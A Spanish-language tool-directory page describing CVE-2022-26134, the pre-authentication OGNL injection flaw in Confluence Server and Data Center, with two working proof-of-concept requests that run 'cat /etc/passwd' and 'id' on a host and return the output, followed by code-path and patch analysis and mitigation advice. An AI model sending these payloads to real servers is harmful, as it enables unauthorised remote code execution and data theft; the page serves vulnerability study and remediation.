Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-26134 — [CVE-2022-26134] Inyección de Object-Graph Navigation Language (OGNL) pre-autenticación en Confluence | Kitploit
Herramientas/GitHubGitHub/murataydemir/cve-2022-26134
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] Inyección de Object-Graph Navigation Language (OGNL) pre-autenticación en Confluence

Ver Repositorio
13hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

[CVE-2022-26134] Inyección de Object-Graph Navigation Language (OGNL) sin autenticación previa en Confluence


Confluence es un producto de colaboración en espacio de trabajo basado en la web, desarrollado por Atlassian. Se puede implementar localmente (on-prem) o como parte de Atlassian Cloud. Consta de 3 características clave: página, espacio y árbol de páginas.

  • Página: Tu contenido vive en páginas: documentos vivos que creas en tu sitio de Confluence. Puedes crear páginas para casi cualquier cosa, desde planes de proyectos hasta notas de reuniones, guías de solución de problemas, políticas y más.
  • Espacio: Las páginas se almacenan en espacios: áreas de trabajo donde puedes colaborar y mantener todo tu contenido organizado.
  • Árbol de páginas: Organiza el contenido del espacio con un árbol de páginas jerárquico que hace que encontrar trabajo sea rápido y fácil. Anida páginas bajo espacios y páginas relacionados para organizar páginas de casi cualquier manera.

El 2 de junio de 2022 a las 20:00 UTC Atlassian publicó un aviso de seguridad relacionado con una vulnerabilidad de ejecución remota de código (RCE) que afecta a los productos Confluence Server y Confluence Data Center. Puedes encontrar información detallada sobre la vulnerabilidad CVE-2022-26134 más abajo.

Resumen: CVE-2022-26134 - Vulnerabilidad de ejecución remota de código no autenticada de severidad crítica en Confluence Server y Data Center
Fecha de publicación del aviso: 2 de junio de 2022
Productos afectados: Confluence Server y Confluence Data Center
Versiones afectadas: Todas las versiones compatibles de Confluence Server y Data Center están afectadas. Las versiones de Confluence Server y Data Center posteriores a 1.3.0 están afectadas.
Versiones corregidas: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 y 7.18.1
ID(s) de CVE: CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

Prueba de concepto: Solicitud de muestra 1

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Respuesta 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

Prueba de concepto: Solicitud de muestra 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Respuesta 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
¿Cómo funciona la vulnerabilidad?
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ en la URL es analizado por Confluence como un espacio de nombres (namespace). Luego el código utiliza translateVariables (parte de las utilidades de análisis de texto de Confluence) sobre este namespace. Debido a que translateVariables usa OGNL, el ataque será analizado y evaluado.

OgnlValueStack findValue(str) es importante, ya que es el punto de partida para que se evalúe la expresión OGNL. Como puedes ver en el siguiente fragmento, TextParseUtil.class invoca OgnlValueStack.findValue cuando se explota esta vulnerabilidad.

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class invoca TextParseUtil.translateVariables utilizando this.namespace como la expresión proporcionada:

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Donde namespace se crea a partir de la cadena URI de la solicitud en com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

El resultado es que la URI proporcionada por el atacante se convertirá en un namespace, que luego llegará a la evaluación de la expresión OGNL. A alto nivel, esto es muy similar a CVE-2018-11776, la vulnerabilidad de inyección OGNL en el namespace de Apache Struts2.

Análisis del parche
Atlassian indicó a los clientes que reemplazaran xwork-1.0.3.6.jar con el recientemente publicado xwork-1.0.3-atlassian-10.jar. Los jars de xwork contienen ActionChainResult.class y TextParseUtil.class, que identificamos como la ruta hacia la evaluación de expresiones OGNL.

El parche realiza una serie de pequeños cambios para corregir este problema. Por ejemplo, namespace ya no se pasa a TextParseUtil.translateVariables desde ActionChainResult.execute:

Antes

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Después

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

Gracias a la salida del comando git diff, puedes ver las diferencias antes y después del parche en ActionChainResult.class en la captura de pantalla a continuación. (copiado de la entrada de blog de Datalog)

PoC-5

Atlassian también añadió SafeExpressionUtil.class al xworks jar. SafeExpressionUtil.class proporciona filtrado de expresiones no seguras, y se ha insertado en OgnlValueStack.class para examinar las expresiones cuando se invoca findValue. Por ejemplo:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

¿Qué pueden hacer las organizaciones para protegerse contra esta vulnerabilidad?
Ahora que hay un parche disponible, actualiza a una versión corregida de Confluence. Si no es posible aplicar el parche en este momento, Atlassian ha proporcionado instrucciones de mitigación temporal para los clientes según sus versiones de Confluence. Ambas requieren apagar Confluence temporalmente mientras se aplican las mitigaciones. Para más información, consulta las orientaciones específicas del aviso de Atlassian:

  • Para Confluence 7.15.0 - 7.18.0
  • Para Confluence 7.0.0 - Confluence 7.14.2

Para obtener más información sobre la remediación de esta vulnerabilidad, visita los siguientes recursos:

  • Publicación original en el blog: Volexity: Explotación de día cero de Atlassian Confluence
  • Referencias para análisis técnicos: AttackerDB: CVE-2022-26134 | Datadog: La vulnerabilidad RCE de Confluence (CVE-2022-26134): descripción general, detección y remediación
  • CVE-2022-26134: Vulnerabilidad de día cero en Atlassian Confluence Server y Data Center explotada activamente
  • Explotación activa de Confluence CVE-2022-26134
  • Aviso de seguridad de Confluence 2022-06-02
Descargar herramienta